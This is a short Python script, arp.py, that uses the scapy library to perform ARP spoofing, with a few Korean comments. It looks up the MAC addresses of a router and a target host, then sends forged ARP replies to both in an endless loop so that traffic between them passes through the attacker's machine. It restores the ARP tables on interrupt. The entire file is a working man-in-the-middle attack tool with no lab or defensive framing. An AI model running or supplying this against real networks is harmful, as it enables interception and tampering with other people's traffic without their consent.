arp.py 1.24 KB
from scapy.all import ARP, send, srp, Ether
import time
import sys
import signal

def originalMAC(ip):
    # ARP Ping method
    ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
    # answer, unanswered

    for s,r in ans: #sent, received
        return r[Ether].src

def poison(routerIP, targetIP, routerMAC, targetMAC): # APR를 spoof
    send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
    send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))

def restore(routerIP, targetIP, routerMAC, targetMAC): #다시 정상패킷 보내서 되돌리기
    send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
    send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)

def arp_spoofing(routerIP, targetIP):
    routerMAC = originalMAC(routerIP)
    targetMAC = originalMAC(targetIP)


    def signal_handler(signal, frame):
        print("Restoring ARP Tables")
        restore(routerIP, targetIP, routerMAC, targetMAC)
        restore(routerIP, targetIP, routerMAC, targetMAC)
        sys.exit(0)
    
    signal.signal(signal.SIGINT, signal_handler)
    
    while 1:
        poison(routerIP, targetIP, routerMAC, targetMAC)